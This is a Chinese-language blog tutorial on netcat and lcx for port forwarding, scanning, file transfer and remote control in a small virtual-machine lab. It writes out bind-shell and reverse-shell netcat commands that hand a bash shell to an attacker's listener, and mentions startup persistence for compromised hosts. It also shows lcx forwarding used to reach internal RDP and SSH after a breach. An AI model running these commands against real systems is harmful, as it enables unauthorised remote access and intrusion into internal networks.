首页 > 其他分享 >代理工具

代理工具

时间:2024-09-14 11:51:34浏览次数:7  
标签:8888 nc 端口 代理 192.168 服务器 工具 端口号

nc

简介

Netcat是一个简单的Unix工具,用于在TCP或UDP协议上读取和写入数据。由于其简单、灵活的特性,它经常被用于网络调试或在各种网络脚本中。

TCP协议

概述

TCP(传输控制协议)是一种面向连接的协议,用于在网络上可靠地传输数据。它提供了一种可靠的、有序的、基于字节流的数据传输服务,确保数据的完整性、顺序性和可靠性。TCP通常与IP(互联网协议)一起使用,构成TCP/IP协议族中的一部分。TCP协议常用于Web、电子邮件、文件传输和其他应用程序的数据传输。

特点

  • 面向连接:在数据传输前,必须先建立连接,传输完成后再断开连接。这种方式可以保证数据传输的可靠性。
  • 可靠性:TCP协议提供可靠的数据传输服务,能够在数据传输过程中检测和纠正错误,确保数据的完整性、顺序性和可靠性。
  • 流控制:TCP协议能够进行流量控制,根据接收方的处理能力来控制发送方的发送速度,避免过多数据拥塞导致网络阻塞。
  • 拥塞控制:TCP协议能够进行拥塞控制,根据网络的拥塞程度来动态调整发送方的发送速度,避免网络拥塞和数据丢失。
  • 面向字节流:TCP协议以字节流的方式传输数据,没有消息边界,需要应用层进行数据的分包和组包。
  • 全双工通信:TCP协议支持全双工通信,即客户端和服务器可以同时发送和接收数据,实现双向通信。
  • 可靠的错误检测和重传机制:TCP协议能够对数据进行校验和检测,发现数据错误后进行重传,保证数据传输的可靠性。

TCP报文的基本结构

 源端口号(16位):标识发送端口号。
 目的端口号(16位):标识接收端口号。
 序列号(32位):标识在该报文段中第一个数据字节的序号。
 确认号(32位):标识期望接收的下一个字节的序号。
 数据偏移(4位):标识TCP头部长度,以4字节为单位。
 保留(6位):保留未使用,置为0。
 控制标志(6位):标识TCP报文的控制信息,如ACK、SYN、FIN等。
 窗口大小(16位):标识接收方的窗口大小,用于流控制。
 校验和(16位):用于检验TCP报文的正确性。
 紧急指针(16位):标识紧急数据的末尾位置。
 选项(可选):用于TCP的高级功能,如窗口扩大、时间戳等。

常见端口

TCP(传输控制协议)使用端口号来区分不同的应用程序和服务。端口号是一个16位的整数,范围从0到65535。其中,0到1023号端口被称为“知名端口”(Well-Known Ports),通常由重要的网络服务和协议使用。以下是一些常见的TCP端口号及其对应的服务:

端口号 20:FTP(文件传输协议)数据传输
端口号 21:FTP(文件传输协议)控制连接
端口号 22:SSH(安全外壳协议),用于安全的远程登录和文件传输
端口号 23:Telnet,用于非安全的远程登录
端口号 25:SMTP(简单邮件传输协议),用于发送电子邮件
端口号 53:DNS(域名系统)服务,用于解析域名和IP地址
端口号 80:HTTP(超文本传输协议),用于访问网页
端口号 110:POP3(邮局协议3),用于接收电子邮件
端口号 119:NNTP(网络新闻传输协议),用于访问新闻组
端口号 143:IMAP(互联网邮件访问协议),用于接收和管理电子邮件
端口号 161:SNMP(简单网络管理协议),用于网络设备管理
端口号 443:HTTPS(安全超文本传输协议),用于加密的网页访问
端口号 465:SMTPS(安全简单邮件传输协议),用于加密的电子邮件发送
端口号 587:SMTP(简单邮件传输协议)的备用端口,用于发送电子邮件
端口号 993:IMAPS(安全互联网邮件访问协议),用于加密的电子邮件接收和管理
端口号 995:POP3S(安全邮局协议3),用于加密的电子邮件接收

UDP协议

概述

UDP(用户数据报协议)是一种无连接的、不可靠的、基于数据报的传输层通信协议。

特点

  • 无连接:UDP在传输数据时不需要建立连接,直接将数据包发送出去。因此,UDP的传输效率比TCP更高。

  • 不可靠:UDP不提供可靠性保证,因此在传输过程中可能会出现数据包丢失、重复、乱序等问题。但是,由于UDP的无连接特点,应用层可以自行处理这些问题。

  • 高效:UDP的数据包结构相对简单,包括源端口、目的端口、长度、校验和和数据等字段。因此,UDP的传输速度比TCP更快。

  • 延迟低:UDP不需要等待确认,因此可以实现较低的传输延迟,适合实时应用场景,如视频、音频、游戏等。

  • 轻量级:由于UDP的功能较少,因此协议本身比TCP更加轻量级。

UDP报文的基本结构

 源端口号(Source Port) 占用2个字节,用于标识数据包的发送者端口号。

 目的端口号(Destination Port) 占用2个字节,用于标识数据包的接收者端口号。

 长度(Length) 占用2个字节,指示整个UDP数据报的长度,包括UDP报头和数据部分。

 校验和(Checksum) 占用2个字节,用于检验UDP数据报的完整性,防止数据在传输过程中被篡改或损坏。

 数据(Data) 占用0~65535字节,是实际要传输的数据部分。

常见端口

 53:DNS(域名系统)服务端口号,用于将域名解析为IP地址。
 67/68:DHCP(动态主机配置协议)服务端口号,用于自动分配IP地址。
 69:TFTP(简单文件传输协议)服务端口号,用于在网络上传输文件。
 123:NTP(网络时间协议)服务端口号,用于同步网络时间。
 161/162:SNMP(简单网络管理协议)服务端口号,用于网络设备的管理和监控。
 514:Syslog服务端口号,用于日志记录和监控。
 5060/5061:SIP(会话初始化协议)服务端口号,用于VoIP(语音传输)通信。
 3478/3479:STUN(简单遍历UDP协议)服务端口号,用于NAT穿透和实现网络对等通信。

功能

参数

## NC常用的参数:

-l 侦听模式,用于入站连接,大部分配合-p参数使用
-p 指定本地的端口号
-n 后面跟IP地址,直接解析IP不解析域名,速度更快
-v 输出连接的详细信息,输入vv可以看到更详细的信息
-z 端口扫描,默认使用tcp模式
-u 指定udp模式扫描探测,一般配合-z参数使用
-c shell命令,通常为 -c bash返回一个bash shell
-q 在标准输入完之后退出,延迟多少秒 例如 -q 1表示被连接完成后1秒钟关闭连接

虚拟机三台192.168.245.110 kali1、192.168.8.130 kali2、192.168.8.129 win7

端口转发

场景:kali1 能访问 kali2,但是不能访问 win7。kali2 能访问 win7 任意端口。

​ kali1 想访问 win7 的 22 端口。

思路:kali2 做跳板机,把访问 kali2 8888 端口的数据转发到 win7 的 22 端口上。

kali1 攻击机  192.168.245.110
kali2 跳板机  192.168.8.130
win7  目标机  192.168.8.129

方法:在 kali2 上执行 nc 转发命令。

nc -l -p 8888 -c "nc 192.168.8.129 22"

在 kali1 上用 ssh 连接 kali2 的 8888 端口,或者直接在 kali2 上 ssh 连接本地的 8888 端口,即可登录 win7 的 22 端口

端口探测

主要命令-z

nc -v ip地址 端口(常规探测,输出nc探测信息和目的ip的指定端口)

nc -lvp 445(先在靶机上打开端口监听模式,不然攻击机上无法扫描到)

nc -nvz 192.168.8.129 445(扫描192.168.8.129主机的445端口开放情况,-n指定后面跟IP地址而不是域名)
d8bb4007c8238f2f296991d413c3bb1b.png
nc -nvz 192.168.8.129 1-1000 (扫描192.168.8.129主机的1-1000端口开放情况,需要关闭win7防火墙)
bd322b689d5d024769a6c1fe81e09d8c.png
nc -nvvzu 192.168.8.129 1-500(扫描1到500间的UDP端口,并在终端返回详细的探测信息)
总结:netcat里面的端口扫描功能比较低配,不及nmap强大。

传输文本信息

主要命令-lp,需要两台机子都有nc工具

先有一台服务端开放一个随机的侦听端口 nc -lp 8888,另一台客户端再连接服务端的端口 nc -nv 目的地址 8888
kali1【192.168.8.110】:nc -lvp 8888(侦听并开放本地的8888端口,等待连接...)
1d8a7f355dcfe5a71ad5f1c65d0153af.png
kali2【192.168.8.130】:nc -nv 192.168.8.110 8888(使用nc直接连接kali1的8888端口,两者交互开始,可以传输文本数据了)
bafc90a4e4a5f53b9f316969cf6463f7.png
可以看到,刚开始侦听端口的一端能显示该端口已经被192.168.8.130连接上了,下面可以发数据了,例如hello,hi,chifan? chi这样聊天
9bca13ff69060120db19f4b37869767e.png
总结:此功能类似23端口的talnet一样,明文传输文本信息,发短信一样的功能。

传输文件/目录

传输文件:
A端kali1:nc -lp 8888 > nc.jpeg(A作为接收端打开端口,将本地侦听的8888端口的信息输出到文件名nc.jpeg里面,有人连接,传输完成后,一秒钟就断开)
B端kali2:nc -nv 192.168.8.110 8888 < nc.jpeg -q 1 (B端作为发送端,把nc.jpeg文件输入到192.168.8.110的8888端口里面)
传输目录:
A端kali1:tar -cvf - /root/Desktop/picture | nc -lp 8888 -q 1
B端kali2:nc 192.168.8.110 8888 | tar -xvf -(-不能少)
总结:传输目录与传输文件功能很像,其实就是多了个解压缩的命令

远程电子取证信息收集

例子1(收集B端的系统信息,但是不在B端留下命令的痕迹,把系统命令全部通过管道传输到A端):
A端kali1:nc -lp 8888
B端kali2:ls -l | nc -nv 192.168.8.110 8888(B端里面执行的ls系统命令在A端里面显示,B端无痕)
ba0757bfe9f76f9a38c548a2aad05464.png

例子2:
A端kali1:nc -lp 8888 > ps.txt (开启本地的8888端口,一旦有人侦听连接把传输的内容保存到ps.txt里面)
B端kali2:ps aux | nc -nv 192.168.8.110 8888 -q 1(连接192.168.8.110的8888端口,并且输入本机的ps aux命令通过管道传输到侦听端口,-q 1表示把命令参数一秒后自动关闭连接)
0191acca2fb9d5e2c41b1fe6724d8a72.png

远程控制

两者服务器都需要有nc工具,nc重要的功能之一

正向shell(被攻击的服务器端开启8888端口的bash shell,一旦有人连接了8888端口就会给他返回一个shell,客户端回车能直接执行服务器端的系统命令,例如ls、ifconfig等,正向比较容易理解)
kali1(被攻击的服务器):nc -lp 8888 -c bash(被攻击的服务器主动开启8888端口,谁先连上shell就给谁)
kali2(攻击者服务器):nc -nv 192.168.8.110 8888(主动连接目的服务器的8888端口来获取shell,然后获得root权限执行系统命令)
a6b27aac3a01dc99bf565a79edb3cc2c.png

反向shell(被攻击的服务器主动外连攻击者服务器的8888端口并且给他一个bash shell,反向shell的目的是防止被攻击者的IDC服务器里面的防火墙拦截,一般目的服务器只开80和443端口,让服务器开放本地端口出网难度大,但是可以让被攻击的服务器直接连攻击者的服务器端口,写一个shell脚本放在配置文件里面设置开机自启动,肉鸡即可上线)
kali1(攻击者服务器):nc -lp 8888(攻击者的服务器开启并监听本地的8888端口,等待肉鸡上线即可执行系统命令)
kali2(被攻击的服务器):nc -nv 目的地址 8888 -c bash(主动对攻击者的服务器进行外联并给他一个bash shell)
f1f519dc3898d489a2f7adef4e446758.png

lcx

参数

Usage:lcx-<listen|tran|slave> <option> [-log logfile]

-tran <等待连接的端口> <目标ip> <目标端口>  (端口映射)

-listen <监听slave请求的端口(对应slave 的第二个参数)> <等待连接的端口>  (端口转发)

-slave <你的ip> <监听端口(对应listen的第一个参数)> <目标ip> <目标端口>  (端口转发)

用法

Windows下lcx使用方法

  1. 在外网服务器上运行:

    lcx -listen 40050 10000
    # 监听本地40050端口,同时将数据转发到10000端口
    
  2. 内网需要转发的机器上运行:

    lcx -slave 1.1.1.1 40050 10.10.0.3 3389
    # 将本地的3389端口转发到外网1.1.1.1的40050端口上
    
  3. 此时我们通过连接外网服务器的10000端口就可以连接到那台内网主机的3389端口

基本用法

现在有这么一个环境,内网中有一台Web服务器,但是我们处于公网,所以无法访问该服务器。于是,我们可以在中间Web服务器上利用LCX进行端口转发,将内网Web主机的80端口转发到公网Web服务器的8080端口上,那么我们访问公网Web服务器的8080端口就相当于访问内网Web服务器的80端口。

img

公网web服务器的配置

lcx.exe -tran 8080 192.168.10.19 80  #将本地的8080端口转发到192.168.10.19的80端口
LCX实现本地端口转发(Windows)

我们现在拿到了一台主机的账号、密码和权限,现在想远程RDP连接该主机,该主机的3389端口只对内开放,不对外开放。所以,我们可以利用lcx进行本地端口的转发。将3389的流量转到33389端口上。

img

目标机的操作,将3389端口的流量转发给33389端口。

lcx.exe -tran 33389 127.0.0.1 3389

这个时候,只需要远程连接目标主机的33389端口即可。

LCX实现SSH到内网主机(Windows)

img

黑客主机获得公网服务器的权限,通过公网服务器进一步内网渗透,得到主机的权限。
可以利用lcx进行22端口的转发,在公网服务器上操作
lcx.exe -tran 2222 192.168.10.129 22  
#意思就是将本地2222端口转发给192.168.10.129主机的22号端口

只要连接到公网服务器的2222端口,即可转发到内网服务器的22端口

ProxyChains

标签:8888,nc,端口,代理,192.168,服务器,工具,端口号
From: https://www.cnblogs.com/yjiejie/p/18413702

相关文章

  • 安卓玩机工具-----多设备同时投屏操控的安卓手机设备投屏工具 工作室推荐
    多设备QtScrcpy投屏工具        对于安卓设备较多的机型。在电脑端实时操作必备工具。他可以同时投屏连接到当前电脑端的安卓设备,而且可以同时操作。对于工作室或者多安卓设备玩家推荐使用。工具特点           QtScrcpy是一款在Scrc......
  • GIS进阶-Openlayers、Vue+Openlayers、Leaflet、Geoserver、PostGis、Java集成Geotool
    场景作为一名非专业GIS开发者,在日常企业级开发中遇到GIS领域相关业务需求时,参考资料较少,各种体系生态不明确。往往因为错过了好多大神封装好的工具、借口、三方框架、api等白白浪费时间。最主要的是此专栏会持续更新,毕竟GIS的知识体系远不止如此,后续会持续记录、共同积累、共同......
  • 软件测试的步骤、工具及预期结果介绍
    软件测试是确保软件质量、性能和可靠性的重要过程。它涉及多个步骤,使用各种工具,并期望达到特定的结果。以下是软件测试的详细描述: 一、软件测试的步骤1.需求分析:在测试之前,先要理解软件的需求规格说明书(SRS),明确软件的功能、性能、安全性等要求。2.测试计划:基于需求分析,制......
  • Nginx 4层代理获取客户端真实IP
    架构4层代理配置stream{upstreambackend{server10.4.7.30:80;}server{listen80;proxy_passbackend;proxy_connect_timeout1s;proxy_protocolon;#主要是把这个参数开上}}后端nginx配置注......
  • 内网穿透技术的思考--反向代理、TCP 隧道、 UDP 打洞--C++代码示例
    概述内网穿透是一种技术,用于在私有局域网(LAN)中的设备与外部网络(如互联网)之间建立通信通道,使得外部设备可以访问内网中的服务。由于内网设备通常位于防火墙或NAT(网络地址转换)设备之后,外部网络无法直接访问它们。因此,内网穿透技术旨在解决这一问题。本文将讨论如何使用C++实现......
  • 反射&动态代理
    1.反射1.1反射的概述:**专业的解释(了解一下):**是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意属性和方法;这种动态获取信息以及动态调用对象方法的功能称为Java语言的反射机制。**通俗的理解:(掌握)**......
  • modbus调试助手/mqtt调试工具/超轻巧物联网组件/多线程实时采集/各种协议支持
    一、前言说明搞物联网开发很多年,用的最多的当属modbus协议,一个稳定好用的物联网组件是物联网平台持续运行多年的基石,所以这个物联网组件从一开始就定位于自研,为了满足各种场景的需求,当然最重要的一点就是大大提升了自己对该协议的深度理解和应用,尤其是面对各种场景需求,逐步调整迭......
  • 最新微信群发群发引流工具,解放双手快速引流
    本文介绍了一款微信群管理助手软件,该软件提供了一系列自动化功能,旨在帮助用户更高效地管理微信群和好友。功能概述微信群管理助手软件是一款专为微信用户设计的管理工具,通过自动化技术简化微信群的日常操作。主要功能一键自动加微信群:快速加入多个微信群,提高社交效......
  • 最新微信群发群发引流工具,解放双手快速引流
    本文介绍了一款微信群管理助手软件,该软件提供了一系列自动化功能,旨在帮助用户更高效地管理微信群和好友。功能概述微信群管理助手软件是一款专为微信用户设计的管理工具,通过自动化技术简化微信群的日常操作。主要功能一键自动加微信群:快速加入多个微信群,提高社交效......
  • 强!推荐一款Python开源自动化脚本工具:AutoKey!
    1、前言在数字化时代,自动化工具成为了提升工作效率和生产力的重要手段。Python作为一种广泛使用的编程语言,以其强大的功能和易用性受到许多开发者的青睐。而今天给大家推荐一款开源的自动化脚本工具:AutoKey。结合Python的强大编程能力与AutoKey的任务自动化特性,用户可以高效地......